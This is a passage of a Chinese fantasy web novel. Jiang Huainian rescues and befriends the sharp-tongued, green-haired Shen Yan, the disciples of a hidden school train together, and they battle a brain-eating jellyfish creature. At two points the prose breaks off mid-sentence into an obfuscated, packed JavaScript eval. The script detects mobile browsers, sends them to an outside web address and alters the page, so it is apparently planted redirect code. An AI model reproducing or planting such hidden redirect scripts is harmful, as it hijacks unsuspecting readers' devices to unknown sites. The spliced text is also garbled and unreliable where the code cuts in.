锦袍少年喉咙里发出嗬嗬的声音,眼睛已经开始翻白。江淮年稍微松了松手,让他能喘气。 “我、我道歉……对、对不起……”锦袍少年从牙缝里挤出几个字。 “不是跟我。”江淮年看向沈言。 锦袍少年艰难地转过头,看着沈言,眼神里充满了恐惧和屈辱:“对、对不起……” 沈言没说话,只是冷冷地看着他。 江淮年松手,锦袍少年摔在地上,捂着脖子剧烈咳嗽。那几个家丁连滚爬爬地过来扶起他,头也不敢回地跑了,留下一地狼藉和目瞪口呆的围观人群。 人群渐渐散去,偶尔还有几道好奇的目光投向两人,但没人敢靠近。 江淮年拍了拍手上的灰,看向沈言:“没事吧?” 沈言没理他,转身就走。 江淮年挑了挑眉,跟了上去:“喂,我好歹帮了你,连句谢谢都没有?” 沈言脚步不停,声音从前面飘来:“我没让你帮。” “嘿,你这人……” “多管闲事。”沈言打断他,终于停下脚步,回头看他。墨绿的眸子里没什么情绪,“那废物我一只手就能摆平,你插什么手?” 江淮年愣了一下,随即笑了:“所以你觉得我多事了?” “不然呢?”沈言语气里的讥诮毫不掩饰,“英雄救美?可惜我不是美,你也不是英雄。下次少干这种吃力不讨好的事,省得惹一身腥。” 说完,他转身继续走。 江淮年站在原地,看着他的背影,忽然觉得有点意思。这个人,脾气臭,嘴毒,还不领情,但莫名地不让人讨厌。 他快走几步追上,跟沈言并肩:“你叫沈言?” 沈言没回答。 “我叫江淮年。” “关我屁事。” “喂,你这人怎么……” “闭嘴,吵死了。” 江淮年:“……” 他长这么大,还没被人这么怼过。 这个沈言倒好,一张嘴跟刀子似的,句句往人心窝子里戳。 但他偏就起了兴致。 “你住哪儿?”江淮年问。 “关你屁事。” “一个人?” “关你屁事。” “我看你身手不错,练过?” 沈言终于停下脚步,转头看他,眸子里满是嫌弃:“你话怎么这么多?跟只麻雀似的,叽叽喳喳烦不烦?” 江淮年咧嘴一笑,露出两颗虎牙:“烦啊?烦就对了。我还打算烦你一路呢。” 沈言盯着他看了几秒,然后面无表情地转身,加快脚步。江淮年不紧不慢地跟着,嘴里还在念叨:“哎,说真的,你一个人住多无聊啊,要不要跟我去个地方?那儿人多,热闹,还能学本事……” “闭嘴。”沈言终于忍无可忍,“再跟着我,我不客气了。” 江淮年耸耸肩:“行行行,不跟了。不过……”他从怀里掏出之前买的糖葫芦,递过去一支,“这个给你,算我多管闲事的赔礼。” 沈言看着那支红艳艳的糖葫芦,眉头皱得能夹死苍蝇:“你当我是三岁小孩?” “爱吃不吃。”江淮年把糖葫芦塞他手里,转身就走,“走了,有缘再见。” 他走得干脆,没回头。 所以没看到,沈言拿着那支糖葫芦,站在原地愣了很久,然后低头,咬了一颗。山楂的酸和糖的甜在嘴里化开,他皱了皱眉,又咬了一颗。 江淮年回到静园时,天色已近黄昏。他把布料和剩下的糖葫芦给江妤,简单说了说今天的事。 当然,略去了沈言那些气死人不偿命的话,只说了自己路见不平拔刀相助,救了个被欺负的绿毛小子。 江妤一边吃糖葫芦一边听,听到“绿毛”时挑了挑眉:“绿头发?真的假的?” “真的,浅绿色,还挺好看。”江淮年说,“就是脾气太臭,嘴太毒,比你还凶。” 江妤白了他一眼:“我哪有凶?” “你没有,你最温柔了。”江淮年从善如流地改口,换来妹妹又一个白眼。 晚饭时,江淮年又提了一嘴沈言。陆时忆一听来了兴致:“绿毛?浅绿色?长得好看?多大了?家住哪儿?有对象没?” 江淮年:“……你查户口呢?” “这不是关心未来师弟嘛!”陆时忆理直气壮,“师父不是说了吗,咱们这一脉人丁单薄,得多招点人。我看这小绿毛就挺合适,能被小年糕看上的,肯定不是普通人。” 江淮年:“我什么时候说他是我看上的了?” “你都专门提他了,还不是看上?”陆时忆挤眉弄眼,“放心,师兄我支持你,勇敢追爱,性别不是问题,年龄不是距离……” 江淮年抓起一个馒头塞他嘴里:“吃你的饭!” 裴衍慢悠悠地喝了口汤,难得开口:“那人身手如何?” “不错。”江淮年正色道,“虽然没见他用异能,但反应快,步伐稳,应该是练过的。” 这话一出,饭桌上安静了一瞬。 时聿推了推墨镜,没说话。江妤放下筷子,看向江淮年:“哥,你觉得他有问题?” “不好说。”江淮年摇头,“但他肯定不简单。” 一直沉默的萧予忽然开口:“淮年,明日你再去一趟青石镇,找到那个沈言,带他来见我。” 江淮年一愣:“师父?” “照做便是。” 第二天,江淮年再次来到青石镇。他依着昨天的记忆,找到沈言离开的方向,一路打听,最后在镇子边缘一间破旧的木屋前停下。 木屋很旧,墙板斑驳,屋顶的茅草稀稀拉拉,看起来摇摇欲坠。门虚掩着,里面没有灯光,也听不到声音。 江淮年敲了敲门,没反应。他推门进去,屋里空空荡荡,只有一张木板床,一张破桌子,一个缺了口的陶碗。墙角堆着一些干草和破布,除此之外,什么都没有。 沈言不在。 江淮年皱了皱眉,退出木屋,在附近转了一圈。镇子边缘人烟稀少,只有几个老人在屋檐下晒太阳。他上前打听,老人们一听“绿头发的少年”,都摇头。 “那孩子啊,独来独往的,不怎么跟人说话。” “住那破屋好几年了,也不知道从哪儿来的。” “前几天还跟镇长儿子打了一架,把人家脸都打肿了,胆子真大……” “不过昨天好像有人来找过他,穿黑衣服的,看着怪吓人的。” 黑衣?江淮年心里一紧:“什么样的人?” “看不清脸,裹得严严实实的,走路没声音,像鬼一样。”老人压低声音,“他们在屋里说了会儿话,然后就一起走了。那绿毛小子好像不太情愿,但也没反抗。” 江淮年谢过老人,立刻返回静园,把情况告诉了萧予。 萧予的脸色第一次变得凝重。他沉默了很久,才缓缓开口:“黑衣……是影仆的爪牙。他们找到沈言了。” “影仆?”江淮年一惊,“沈言跟影仆有关系?” “不止有关系。沈言的父母,十年前就是被影主杀死的。影主原本想带走他,将他培养成容器,但不知为何又抛下了。这些年他一直在外流浪,影仆应该是在重新找他。” 饭桌上所有人都放下了筷子。陆时忆张大了嘴,宋听澜笑容消失,时聿的墨镜微微下滑,连裴衍都睁开了半眯的眼睛。 “我草。”陆时忆憋了半天,憋出两个字,“牛逼。” 江淮年:“……这是重点吗?” “那现在怎么办?” “我去找他。”萧予说,“淮年,你带路。其他人,守好静园,提高警惕。” 萧予亲自出马,效率高得惊人。江淮年只带他到了沈言那间破屋,萧予便在屋前闭目感应片刻,然后睁开眼,指向西北方向:“那边,三十里,有黑暗气息残留。” 两人一路追踪,最后在一片乱葬岗前停下。 这里阴气森森,墓碑歪斜,荒草萋萋。天色已暗,残月如钩,给整个乱葬岗蒙上一层惨白的光。风中传来呜咽般的声音,不知是风声,还是亡魂的哭泣。 乱葬岗深处,几点幽绿的火光忽明忽灭。靠近了才看清,那是几个裹在黑袍里的身影,他们围成一个圈,中间跪着一个少年。 正是沈言。 沈言被黑色的绳索捆着,嘴里塞着布团,眸子里满是怒火和屈辱,但身体动弹不得。几个黑袍人低声念诵着什么,声音嘶哑难听,像生锈的铁片在摩擦。 “黑暗献祭……”萧予眼神一冷,“他们想强行唤醒他体内的黑暗印记。” 话音未落,萧予便直接出击,黑袍人反应极快,转身格挡,但萧予的速度更快,精准点在那人胸口。 只听一声闷响,黑袍人倒飞出去,撞在一块墓碑上,黑袍碎裂,露出底下那张扭曲的、非人的脸。 其余黑袍人立刻反应过来,齐齐扑向萧予。江淮年想上前帮忙,被他一个眼神制止:“去救沈言!” 江淮年咬牙,冲向沈言。两个黑袍人转身拦住他,利爪如刀般抓来。江淮年不退反进,左掌凝冰,右掌聚火,冰锥与火球同时射出。 黑袍人显然没料到他会同时施展两种异能,措手不及,被冰火交织的力量轰退数步。 趁此机会,江淮年冲到沈言身边,一刀斩断黑色绳索,扯出他嘴里的布团:“还能动吗?” 沈言剧烈咳嗽,抬头看他,眼底闪过一丝惊讶,随即撇撇嘴:“多管闲事。” “是是是,我又多管闲事了。”江淮年没好气地把他拉起来,“能跑就跑,不能跑就躲我后面,少废话!” 几个黑袍人再次围了上来。他们比之前遇到的影仆更强,动作更快,攻击更凌厉。江淮年护着沈言,冰火齐出,但双拳难敌四手,很快便左支右绌。 危急时刻,萧予解决了那边的敌人,转身加入战团。老人虽年迈,但身手矫健如龙,每一下都精准命中要害,几个黑袍人很快便溃不成军,化作黑烟消散。 战斗结束,乱葬岗重归死寂。 萧予走到沈言面前,打量着他。虽然目光很平静,但沈言却感到一股无形的压力,让他不由自主地绷紧了身体。 “沈言。你父母的事,我知道。影主的事,我也知道。你想报仇吗?” 沈言猛地抬头,眸子里燃起火焰:“你知道?” “知道。”萧予点头,“跟我走,我教你报仇的本事。” 沈言盯着他看了很久,又看了看江淮年,最后问:“代价是什么?” “没有代价。”萧予说,“只有选择。选择光明,或是黑暗。选择复仇,或是沉沦。” 沈言沉默了。 月光照在他脸上,那张漂亮的脸上第一次露出了迷茫。但很快,迷茫褪去,取而代之的是坚定。 “我跟你走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走到沈言身边,蹲下,看着少年一遍遍尝试,掌心被反噬的力量震得血肉模糊,却连眉头都不皱一下。 “你这样不行。”江淮年说,“混合系不是把几种元素硬凑在一起,得找到它们之间的平衡点。” 沈言抬头看他,眼里满是血丝:“你知道怎么找?” “不知道。”江淮年很诚实,“但我知道,你继续这样硬来,会把自己练废。” 沈言沉默,低头看着自己伤痕累累的手。 “跟我来。”江淮年起身。 他带沈言去了后山。那里有一片空地,平时是他们训练的地方。江淮年让沈言坐下,自己坐在他对面。 “闭上眼睛,静下心来。”江淮年说,“别急着催动元素,先感受它们。感受它们在体内流动的轨迹,感受它们彼此之间的排斥和吸引。” 沈言依言照做。起初什么都感受不到,只有体内四股微弱的力量在乱窜,像无头苍蝇。但渐渐地,在江淮年平缓的引导声中,他慢慢沉静下来。 他看到了。看到了许多种颜色,感受到了多种感觉,他们彼此独立,又隐隐相连。 “试着让它们靠近。”江淮年的声音像从很远的地方传来,“别强迫,让它们自己选择。” 沈言尝试着,用意念牵引那股力量。 起初它们互相排斥,碰撞出火花,互相挤压。但随着时间推移,在某种奇妙的平衡中,它们开始缓缓靠近,最后在胸腹之间交汇,形成一个微小交织的光球。 光球不大,只有指甲盖大小,但色彩流转,生生不息。 沈言睁开眼,掌心向上。光球从胸口移向掌心,静静悬浮,散发着柔和而稳定的光芒。 虽然还很微弱,虽然距离真正的混合还有很远,但至少他找到了方向。 江淮年咧嘴一笑,拍拍他的肩:“不错嘛,小绿毛。” 沈言看了他一眼,难得没怼回去,只是低声道:“谢谢。” “哟,还会道谢呢?”江淮年挑眉,“太阳打西边出来了?” 沈言收回光球,站起身,又恢复了那副冷冰冰的样子:“走了,训练。” 江淮年看着他的背影,笑了笑,跟了上去。 从那以后,沈言的修行步入正轨。他不再强行单独催动某种元素,而是专注于寻找他们之间的平衡。进展虽然缓慢,但每一步都扎实稳固。 而他的性格,也渐渐在“动物园”里显露出来。 毒舌,嚣张,脾气臭,还特别记仇。 陆时忆第一次叫他“小绿毛”时,被他一道混合了雷火的能量球追着跑了半个院子。 裴衍说他“基础差”,他就天天在裴衍午睡时在窗外练功,砰砰砰吵得裴衍睡不着。 时聿路过没理他,他就故意在时聿潜行时弄出动静,害时聿好几次暴露。 宋听澜笑眯眯地给他送药,他就面无表情地问:“这药里没下毒吧?” 只有对江淮年,沈言的态度稍微好一点。 但也只是一点。 江淮年叫他“小绿毛”,他会回一句“红毛怪”。 江淮年笑他进步慢,他会冷笑“总比你当初连火苗都凝不出来强”。 啧。 江淮年觉得这可太烦了。 但很有意思。 所有人都能看出来,沈言和江淮年关系最好。 两人年龄相仿,性格也有相似之处。都傲娇,都嘴硬,都不肯服软。 他们常常一起训练,一起对练,一起研究混合系的运用。 有时练到兴起,两人能打上半个时辰,能量碰撞,把训练场炸得一片狼藉。打完了,两人瘫在地上喘气,江淮年会扔过去一壶水,沈言接住,仰头灌下,然后问:“明天继续?” “谁怕谁。” 江妤偶尔也会来看他们训练。 她对沈言的态度很微妙。 不像对陆时忆那样直接怼,也不像对其他人那样冷淡。 她会静静地看着沈言一遍遍尝试混合元素,失败,再尝试。有时沈言练得太狠,手上崩开伤口,她会递过去一瓶伤药,什么也不说,放下就走。 沈言起初会皱眉,后来也习惯了,接过药,低声道谢,虽然声音小得像蚊子叫。 陆时忆对此非常不满:“江妤妹妹,你为什么对那绿毛小子这么好?对我却那么凶?” 江妤白他一眼:“因为他没你烦。” 陆时忆:“……我哪里烦了?” “哪里都烦。” 陆时忆蔫了,陆时忆委屈,陆时忆不说,蹲在墙角画圈圈。 日子就这样一天天过去。静园因为沈言的加入变得更加鸡飞狗跳。 早上,江淮年和沈言雷打不动地对练。 爆炸声能把所有人吵醒。 裴衍会被吵得睡不着,黑着脸加入战团,土石乱飞,把训练场搞得像地震现场。陆时忆看热闹不嫌事大,时不时扔几道电击进去添乱。时聿偶尔也会出手,黑影穿梭,把战局搅得更乱。宋听澜则笑眯眯地在一旁布下藤蔓网阵,美其名曰“防止破坏公物”,实际上是把所有人都困在里面,不打完不准出来。 江妤有时会坐在银杏树下看书,偶尔抬头看一眼训练场,然后摇摇头,继续看书。 萧予大多数时候待在书房,但偶尔也会出来看看。他站在廊下,看着院子里那群打打闹闹的少年,清亮的眼睛里会泛起淡淡的笑意。 吵吵闹闹,磕磕绊绊,但每个人都真实地活着,真实地笑着,真实地像一家人。 江淮年看着这一切,心里那种满的感觉又回来了。 他坐在银杏树下,夕阳西下,金色的光铺满庭院。 江淮年闭上眼睛,深深吸了一口气。 空气里有青草的味道,有药香,有烤肉的焦香,有汗水的咸味,还有家的味道。 10. 为什么越迷人的越危险~ 雨来得毫无征兆。午后还晴空万里,傍晚时分天际忽然压来厚重的云层,紧接着雷声轰鸣,豆大的雨点噼里啪啦砸下来,很快在庭院里汇成浑浊的水流。银杏树的叶子被打得噼啪作响,金黄的叶片混着雨水飘落,在青石板路上铺了厚厚一层。 廊下沈言在教江淮年下棋。二人盘膝而坐,沈言指尖拈着一枚黑子,专注地盯着棋盘,那张漂亮的脸上没什么表情,但语气里满是嫌弃:“走这里,你会死得更快。” “那走哪儿?”江淮年托着下巴。 “这儿。”沈言指向棋盘一角,“挡一下,还能苟延残喘三手。” 江淮年依言落子,然后抬头看向门外的大雨:“这雨下得真邪门,一点预兆都没有。” 沈言没接话,只是又落一子,淡淡道:“你输了。” 江淮年低头一看,果然,自己的白子已经被黑子围得水泄不通,再无活路。他啧了一声,把棋子一推:“不玩了不玩了,跟你下棋纯属找虐。” 沈言嘴角微不可察地翘了翘,开始慢条斯理地收棋子。他收棋的动作很轻,每颗棋子都稳稳地放回棋盒,发出清脆的碰撞声。江淮年看着他骨节分明的手,忽然问:“你以前学过?” “学过什么?” “下棋。” 沈言动作一顿,随即继续:“没学过,看人下过。” “看谁?” “……”沈言沉默了。过了很久,久到江淮年以为他不会回答了,他才低声道,“我爹。” 这是沈言第一次主动提起家人。 江淮年心头一动,但没追问,只是点了点头,换了个话题:“裴石头今天居然没睡午觉,稀奇。” 裴衍此刻正靠在廊柱另一侧,手里拿着一卷泛黄的书册,但眼睛却没看书,而是望着雨幕出神。整个人看起来比平时更慵懒也更沉郁。 陆时忆在院子里疯跑,他最近刚摸索出一种新的雷系用法,能将电流凝聚成细密的电网,用来感知周围环境的变化。 此刻他正顶着大雨,在庭院里布下一张又一张电网,电光在雨水中跳跃,发出刺耳的噼啪声。 “陆傻子,你消停点!”江妤的声音从厨房传来,她系着围裙,手里拎着锅铲,一脸不耐烦,“你想把整个院子炸了?” 陆时忆嘿嘿一笑,收回电网:“江妤妹妹放心,我控制着呢!” 江妤白了他一眼,转身回厨房。 她最近在跟宋听澜学药理,顺带也学了些简单的厨艺。 虽然大多时候还是宋听澜掌勺,她只能打打下手。 一切都和往常一样。吵吵闹闹,各忙各的,却又奇异地和谐。 但江淮年心里总有种说不出的不安。那种不安像一根细小的刺,扎在心头,不痛,却时刻提醒他有什么事情不对劲。 他看向门外的大雨。 雨幕如帘,将整个世界隔绝在外。 雨水顺着屋檐倾泻而下,在地面砸出一个个浑浊的水坑。空气里弥漫着潮湿的泥土味和草木腐烂的气息,还有一种几乎无法察觉的腥气。 像血,又不像血。 江淮年皱了皱眉,站起身走到廊檐边,伸手接了一把雨水。 雨水冰凉,落在掌心,很快积成一小洼。他低头细看,忽然瞳孔一缩。 雨水的颜色不对。 正常的雨水应该是透明的,无色无味。但这捧雨水,在掌心微微泛着极淡的粉色。淡到几乎看不见,若不是他眼力过人,根本发现不了。 “沈言。”他转头,“你过来看。” 沈言放下棋盒走过来,低头看向江淮年的掌心。随即伸手沾了一点雨水,凑到鼻尖闻了闻。 “血腥味。”他声音很冷,“很淡,但确实有。” “血雨?”江淮年心头一沉。他想起萧予曾经提过,某些黑暗存在降临或大规模活动时,会引起天象异变,血雨就是其中一种。 “不止。”沈言将指尖的雨水捻开,“还有别的东西……腐蚀性?” 话音未落,他指尖那点雨水忽然开始冒烟,皮肤以肉眼可见的速度泛红起泡,发出细微的嗤嗤声。 沈言眉头都没皱一下,只是迅速甩掉雨水,从怀里掏出一小瓶药粉撒在伤口上。 江淮年立刻缩回手,将掌心的雨水甩掉。果然,掌心也传来灼烧感,皮肤微微发红。 “这雨有问题。”他沉声道,“得告诉师父。” 两人快步走向书房。裴衍也察觉到了异常,放下书跟了上来。 书房里,萧予正站在窗前,看着外面的大雨。 “师父。”江淮年敲门进去,“雨水有问题,有血腥味和腐蚀性。” 萧予没回头,只是点了点头:“我知道。” “这是……” “异变的前兆。”萧予转过身,那双清亮的眼睛里此刻满是凝重,“血雨腥风,黑暗将临。比影仆更高级的存在,已经开始活动了。” 比影仆更高级的存在。 这句话砸进每个人心里。影仆已经够难缠了,高阶影仆更是需要他们几人合力才能对付。比影仆更高级那是什么概念? “什么东西?”沈言问,声音很冷静。 “典籍记载不全,只知道它们被统称为‘异变体’。形态各异,能力各异,但都比影仆更强、更狡猾、更致命。” 他走到书桌前,摊开一卷羊皮地图。地图上标注着静园的位置,以及周围的山川河流、村落城镇。萧予的手指在地图上移动,最后停在一处标着“黑水沼泽”的地方。 “三天前,距离此地八十里的黑水沼泽,有村民报告说看见‘会飞的蓝色水母’。”萧予说,“起初以为是幻觉,但昨天又有两个猎户在沼泽边缘失踪,只留下一地黏液和被吸干脑髓的尸体。” “师父,我们要去处理吗?” “去。”萧予点头,“但这次情况不明,不可贸然深入。裴衍、时聿,你们二人先去侦查,摸清那东西的活动范围和习性。陆时忆、宋听澜,你们准备应对方案和药品。江淮年、沈言,你们留守静园,保护江妤,同时加紧训练,随时准备支援。” 分工明确,众人立刻行动。 裴衍和时聿当天傍晚就出发了。两人轻装简行,只带了必要的武器和干粮,身影很快消失在雨幕中。陆时忆和宋听澜则一头扎进书房和药房,一个翻查古籍寻找异变体的记载,一个加紧配制解毒剂和防护药膏。 江淮年和沈言则开始了更高强度的训练。他们知道,如果连裴衍和时聿都对付不了的东西,他们这两个半吊子去了也是送死。唯一能做的,就是尽快变强。 江淮年已经能将冰火之力初步融合,爆发的威力比单系强上数倍。沈言的混合系也有了长足进步,虽然元素的平衡还不太稳定,但已经能凝聚出能量球。 两人从清晨练到日暮,又从日暮练到深夜。汗水浸透衣衫,手上、身上添了无数新伤,但谁也没喊停。江妤有时会送水和伤药过来,默默放在场边,然后离开。她自己也加倍努力地练习水系异能,掌心凝聚出的水球已经能勉强操控水流做出简单的形态变化。 第三天,雨停了。 天空依旧阴沉,但至少不再飘落那诡异的血雨。午后,裴衍和时聿回来了。 两人皆是一身狼狈。裴衍的劲装上沾满了泥浆和某种黏稠的蓝色液体,左臂有一道深可见骨的伤口,边缘泛着不正常的紫黑色。时聿的墨镜碎了一片,露出底下那双冷灰色的眼睛,此刻正剧烈收缩,瞳孔深处残留着某种惊悸。 “怎么样?”萧予问,同时示意宋听澜给裴衍处理伤口。 裴衍靠在墙上,脸色苍白,但声音还算平稳:“是水母,但不是普通水母。漂浮在半空,通体幽蓝。攻击方式有两种,一是释放神经毒素,沾上一点就会全身麻痹;二是触须尖端能刺入人体,吸食脑髓。” 时聿补充:“速度很快,能瞬间移动。物理攻击效果有限,刀剑砍上去像砍橡胶,而且伤口会立刻愈合。只有元素攻击能造成伤害,但需要持续输出,否则它很快就能恢复。” 宋听澜已经给裴衍清洗了伤口,敷上药膏,用绷带包扎好。他看着伤口边缘的紫黑色,眉头微皱:“这毒……我没见过。需要时间分析成分。” “我们有时间吗?”陆时忆问。 “没有。”裴衍摇头,“那东西的活动范围在扩大。我们离开时,它已经游荡到沼泽边缘,距离最近的村子只有五里。照这个速度,最多三天,它就会进入人类聚居区。” 所有人都沉默了。 一个刀枪不入、能飞、能放毒、能吸脑髓的怪物,游荡在人口密集的村落附近那会是怎样的灾难? “弱点呢?”沈言忽然开口,“任何生物都有弱点。” 裴衍看向他,沉默了几秒,才道:“有。它的核心在伞盖正中央,是一颗发光的蓝色晶核。只有击碎晶核,才能彻底杀死它。但晶核被层层触须保护,而且那东西极其敏感,稍有靠近就会瞬间移动。” “还有一点。”时聿推了推破碎的墨镜,“被击破时,它会释放大量治疗性水雾,不是毒素,是真正的治疗雾气。我们撤退时,裴衍的伤口沾到一点,毒素扩散速度明显减缓。” 治疗水雾?众人面面相觑。一个吸食脑髓的怪物,死后居然会释放治疗雾气?这算什么?杀人之后的忏悔? 萧予沉吟片刻,道:“如此看来,这异变体并非纯粹的杀戮机器,而是既有黑暗的嗜血本能,又有光明的治愈能力。这或许是个突破口。” “什么突破口?”江淮年问。 “利用它的矛盾。”萧予说,“既然它会释放治疗水雾,那就说明它的力量体系存在某种内在冲突。我们可以尝试放大这种冲突,让它从内部崩溃。” 道理大家都懂,但具体怎么做,谁也不知道。 接下来的两天,静园进入了高度戒备状态。裴衍的伤在宋听澜的调理下渐渐好转,但毒素还未完全清除,左臂依旧使不上力。 第三天清晨,黑水沼泽方向传来消息:异变体已经离开沼泽,进入了一片林地。林地边缘有三个小村落,村民已经开始恐慌,不少人收拾行囊准备逃离。 “不能再等了。”萧予拍板,“今日出发,清剿异变体。” 裴衍左臂还未痊愈,但坚持要去。时聿自然跟随。江淮年和沈言也被允许同行,但被严令不得擅自行动,必须听从指挥。 六人轻装出发,除了武器和药品,还带了宋听澜新配制的“冲突药剂”,一旦接触异变体的□□就会迅速挥发,理论上能放大其内在的力量冲突。 抵达林地时,已是午后。这片林子比暗影之森小得多,但树木茂密,光线昏暗。空气里弥漫着一股淡淡的腥甜味。 地面上散落着一些动物的尸体,都是被吸干脑髓而死,尸体完整,只有头部有一个细小的孔洞。 “就在附近。”时聿压低声音,墨镜后的目光扫视四周,“小心触须。” 众人分散开向前推进。裴衍走在最前,虽然左臂不便,但右手的异能已经蓄势待发。时聿潜入阴影,负责侦查和突袭。陆时忆和宋听澜居中,一个掌心电光隐现,一个藤蔓在脚下蔓延。江淮年和沈言殿后,两人都绷紧了神经,冰火与光芒在掌心流转。 林子深处,光线越发昏暗。腥甜味越来越浓,几乎令人作呕。忽然,前方传来一阵细微像水波荡漾的声音。 所有人同时停下脚步。 前方一棵巨树的树冠下,漂浮着一个幽蓝色的身影。 那确实像水母。而且是很漂亮的水母。伞盖圆润,直径约三尺,通体半透明,泛着幽幽的蓝光。伞盖下垂下数十条触须,每根都有小指粗细,末端尖锐如针。 最诡异的是它没有眼睛,没有口器,整个身体就是一团漂浮的、发光的蓝色凝胶。 但所有人都能感觉到,它在“看”着他们。 伞盖中央,那颗蓝色晶核闪烁着妖异的光芒,像一只独眼,冷冷地注视着闯入者。 “准备——”裴衍低声。 话音未落,水母动了。 不是移动,而是瞬间消失,又瞬间出现在众人头顶!触须如暴雨般刺下,速度快得只能看见一片蓝色的残影! “散开!”时聿从阴影中跃出,双手短刃交叉格挡,架住了刺向陆时忆的触须。 刀刃与触须碰撞,发出金属摩擦般的刺耳声响,触须被弹开,但刀刃上也留下了腐蚀的痕迹。 陆时忆反应极快,双掌齐推,一道电光射向水母!电光命中伞盖,幽蓝的身体剧烈颤抖,表面泛起涟漪,但很快又恢复平静。触须的攻击只是稍微停滞了一瞬,随即更加疯狂! 宋听澜双手按地,藤蔓破土而出,缠向水母的触须。但触须表面覆盖着滑腻的黏液,藤蔓根本缠不牢,很快就被挣脱。 裴衍右掌拍地,地面隆起数根土刺,刺向水母伞盖。土刺命中,但就像时聿说的,像刺进橡胶,只进去一寸就被弹开,伤口瞬间愈合。 这玩意儿,真难啃。 江淮年和沈言对视一眼,同时出手!江淮年双掌齐推,冰火融合的能量球呼啸而出,在空中划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119453|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一道红蓝交织的轨迹,狠狠砸在水母伞盖上!沈言的四色能量球紧随其后,元素交织碰撞,爆发出刺目的光芒! 轰——! 巨大的爆炸!水母被炸得向后翻滚,伞盖上出现了一个明显的凹陷,蓝色□□飞溅。但下一秒,凹陷就以肉眼可见的速度复原,溅出的□□在空中化作淡蓝色的水雾,飘散开来。 “小心雾气!”宋听澜喊道,“可能有毒!” 但已经晚了。离得最近的陆时忆吸入了少许水雾,身体猛地一僵,动作明显迟缓。一根触须趁机刺来,眼看就要扎进他的太阳穴。 “滚开!”江淮年左掌凝冰,一道冰墙瞬间竖起,挡在陆时忆身前。触须刺在冰墙上,发出清脆的碎裂声,冰墙崩碎,但触须也被弹开。 沈言已经冲到陆时忆身边,一把将他拖到安全区域。宋听澜立刻过来检查,发现陆时忆只是肌肉麻痹,并无大碍,松了口气:“不是剧毒,只是麻痹效果。但也够麻烦的。” 说话间,水母已经恢复了平衡。它似乎被激怒了,伞盖中央的晶核光芒大盛,数十条触须同时伸长,像一张大网罩向众人。 “时聿!” 时聿会意,身形一晃,融入阴影。下一秒,他出现在水母正上方,双手短刃如毒蛇般刺向晶核!但水母的反应更快,触须如鞭子般抽来,时聿不得不放弃攻击,翻身躲开。 “这样下去不行!”陆时忆咬着牙,努力活动麻痹的四肢,“得想办法靠近晶核!” “我有办法。”沈言忽然开口。他看向江淮年,“你的冰火融合,能持续多久?” “全力输出的话,大概十息。” “够了。”沈言从怀里掏出那瓶“冲突药剂”,“我会用混合能量制造混乱,吸引它的注意力。你们趁机靠近,把药剂泼在晶核上。一旦药剂生效,它的内部冲突会加剧,防御会减弱,那时再攻击晶核。” “太冒险了。”裴衍皱眉,“你怎么吸引它的注意力?它的触须速度太快,你撑不过三息。” “我能撑五息。”沈言说得很平静,“剩下的,靠你们。” 江淮年盯着他:“你确定?” “确定。反正我这条命也是捡回来的,死了也不亏。”” 江淮年咬了咬牙,点头:“好。我跟你一起。” “你……” “闭嘴。”江淮年打断他,“要死一起死,要活一起活。少废话。” 沈言看了他一眼,嘴角几不可察地扬了扬:“随你。” 计划定了,立刻执行。裴衍、时聿、陆时忆、宋听澜四人同时发动佯攻,逼得水母不得不全力防御。 趁此机会,江淮年和沈言从侧翼突进!两人速度全开,能量在身前交织成一层护盾,硬扛着触须的攻击向前冲。 触须如鞭子般抽打在护盾上,发出砰砰的闷响。护盾剧烈震颤,光芒明灭不定,随时可能碎裂。江淮年感到五脏六腑都在翻腾,嘴角溢出血丝。沈言也不好受,四色能量球在掌心剧烈颤抖,维持平衡越来越困难。 三息,四息,五息…… “就是现在!”沈言将手中的能量球狠狠砸向水母伞盖! 能量球爆炸,四种元素的力量在水母体内横冲直撞,引发了剧烈的元素乱流。水母的身体开始扭曲变形,触须的动作明显迟缓。 江淮年冲到水母正下方,左手持瓶,右手冰火融合的能量球已经凝聚到极限。他抬头,看见那颗蓝色晶核就在头顶三尺处,被乱舞的触须层层保护。 他一跃而起,冰火能量球轰开一条通路,左手药剂瓶狠狠砸在晶核上! 玻璃碎裂,淡紫色的药剂泼洒在晶核表面,瞬间汽化,融入水母体内。 下一秒,水母发出了一声前所未有的尖啸。 那声音像无数玻璃同时碎裂,刺得人耳膜生疼。水母的身体开始剧烈抽搐,幽蓝的光芒忽明忽暗,伞盖表面浮现出无数裂纹。触须胡乱挥舞,已经失去了准头。 “冲突加剧了!”宋听澜喊道,“攻击晶核!” 裴衍、时聿、陆时忆同时出手。 三道攻击从不同方向射向晶核,江淮年也在落地瞬间,将手中凝聚到极限的冰火能量球全力掷出! 四道攻击,同时命中! 咔嚓——! 清脆的碎裂声。晶核表面出现了蛛网般的裂纹,蓝光急剧黯淡。 水母的身体开始崩解。伞盖化作一滩蓝色的黏液,触须寸寸断裂,坠落在地。但在彻底消散前,它伞盖中央忽然喷出一大团淡蓝色的水雾,迅速扩散开来。 “治疗水雾!”宋听澜眼睛一亮,“快,有伤的都过来!” 水雾笼罩了整片区域。 裴衍左臂伤口处的紫黑色以肉眼可见的速度褪去,陆时忆的麻痹感瞬间消失,江淮年和沈言身上的擦伤、灼伤也在快速愈合。就连被战斗波及的树木和草丛,都重新焕发了生机。 这水雾……真的是纯粹的治疗能量。 水母彻底消散了。 地面上只留下一滩蓝色的黏液,和几块晶核的碎片。宋听澜小心地收集起碎片和黏液样本,准备带回去研究。 战斗结束,众人都有些脱力,瘫坐在地上喘息。 